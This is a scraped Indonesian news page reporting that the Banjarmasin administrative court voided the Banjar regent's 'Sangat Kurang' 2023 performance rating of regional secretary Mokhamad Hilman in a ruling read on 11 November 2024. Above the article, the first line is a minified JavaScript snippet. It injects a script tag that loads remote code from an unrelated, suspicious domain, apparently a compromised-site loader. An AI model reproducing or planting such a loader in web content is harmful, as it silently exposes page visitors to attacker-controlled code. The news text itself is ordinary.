(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PTUN Banjarmasin Kabulkan Gugatan Sekda Banjar Atas Bupati Banjar


KANALKALIMANTAN.COM, BANJARMASIN – Hakim Pengadilan Tata Usaha Negara (PTUN) Banjarmasin mengabulkan gugatan Sekretaris Daerah (Sekda) Kabupaten Banjar Dr Ir Mokhamad Hilman ST terkait penilaian kinerja dengan tergugat Bupati Banjar.

Penilaian kinerja “Sangat Kurang” yang diberikan Bupati Banjar terhadap kinerja Sekda Banjar tahun 2023 dianggap batal oleh Majelis Hakim yg diketuai Aning Widi Rahayu SH.

Dari amar putusan yang diterima Kanalkalimantan.com menyatakan bahwa eksepsi pihak tergugat tidak diterima seluruhnya dan mengabulkan permohonan penggugat.

“Pada pokok perkara, mengabulkan gugatan penggugat seluruhnya,” bunyi amar putusan majelis hakim.

Baca juga: Paman Birin Muncul Sehari Jelang Putusan Praperadilan

Pengadilan Tata Usaha Negara (PTUN) Banjarmasin. Foto: rizki

Majelis Hakim PTUN Banjarmasin menyatakan bahwa tindakan pemerintahan oleh tergugat yang memberikan penilaian predikat kinerja pegawai “Sangat Kurang” di dokumen evaluasi kinerja pegawai periode tahunan Pemerintah Kabupaten Banjar periode penilaian 1 Januari-31 Desember 2023 atas nama Dr Ir H Mokhamad Hilman ST MT diaplikasi e-kinerja pada tanggal 7 Februari 2024, batal.

Kemudian, tergugat diwajibkan untuk menghapus penilaian dokumen evaluasi kinerja pegawai periode tahunan Pemerintah Kabupaten Banjar. Dan tergugat diwajibkan untuk kembali melakukan penilaian kinerja pegawai sesuai peraturan perundang-undangan yang berlaku.

“Menghukum tergugat untuk membayar biaya perkara sejumlah Rp362. 000,” bunyi amar putusan PTUN Banjarmasin.

Baca juga: Penghargaan untuk PNS dan PTT Kabupaten Banjar Berkinerja Terbaik

Humas PTUN Banjarmasin Maryam Nur Hidayati SH membenarkan bahwa putusan perkara gugatan Sekda Banjar dengan tergugat Bupati Banjar dibacakan pada Senin (11/11/2024). Putusan dibacakan secara online atau e-court.

“Putusan perkara nomor 34/G/TF/2024/PTUN.BJM dibacakan hari ini melalui e-court,” katanya ditemui di PTUN Banjarmasin, Senin (11/11/2024) siang.

Mariam menjelaskan para pihak yang tidak puas terhadap putusan Majelis Hakim PTUN di tingkat pertama dapat melakukan upaya hukum banding ke Pengadilan Tinggi (PT) Banjarmasin.

Baca juga: Penghargaan Kemen PU untuk Dinas PUPRP Kabupaten Banjar

Sementara itu, Kuasa hukum Sekda Banjar, Darul Huda Mustaqim SH MH menyambut baik putusan PTUN Banjarmasin yang mengabulkan gugatan mereka.

Menurut kuasa hukum penggugat, berdasarkan putusan pengadilan tersebut penilaian kinerja yang diberikan Bupati Banjar kepada kliennya menjadi tidak sah atau batal.

“Kami selaku kuasa hukum menilai putusan majelis hakim sesuai dengan fakta hukum yang terkuak di persidangan. Kami sebagai penggugat dapat membuktikan dalil-dalil yang kami ajukan di hadapan majelis, sehingga kami menerima putusan dari majelis hakim,” katanya.

Baca juga: Muncul ke Publik Pimpin Apel Pagi, Paman Birin: Saya Ada di Banua

Sebelumnya Sekda Kabupaten Banjar, Mokhamad Hilman menggugat Bupati Banjar ke PTUN Banjarmasin karena tidak terima kinerja dirinya sebagai Sekda Banjar periode 2023 diberikan predikat penilaian sangat kurang oleh Bupati Banjar.

Sementara mengacu pada evaluasi kinerja kepegawaian, ada 5 predikat penilaian terhadap hasil kerja dan perilaku kerja. Yaitu sangat baik, baik, butuh perbaikan, jurang, dan yang terakhir predikat sangat kurang.

“Dengan hasil penilaian ini (sangat kurang), saya merasa sangat dirugikan, sangat berdampak kepada karier kepegawaian saya lakoni sebagai pekerjaan dan rintis selama 29 tahun,” kata Sekda Banjar.

Baca juga: Jadwal Debat Pilgub Kalsel Dimajukan, Panelis Bertambah

Hilman menyebut, penilaian yang diberikan kepadanya bersifat subyektif, tanpa mempertimbangkan kontribusi dirinya selaku Sekda Banjar kepada kinerja pemerintah Kabupaten Banjar yang ditetapkan dengan kinerja baik.

Dirinya, kata Hilman juga telah melakukan upaya keberatan dengan menyampaikan secara tertulis dan banding administratif. Namun, karena tidak dijawab dan ditolak, sehingga penilaian predikat sangat kurang kepada dirinya itu menjadi final.

Oleh karena itu, melalui tim kuasa hukumnya, Sekda Banjar mendaftarkan gugatan ke PTUN Banjarmasin meminta dibatalkan penilaian terhadap kinerjanya tersebut. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

6 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

6 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

6 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

10 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

10 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

12 jam ago

This website uses cookies.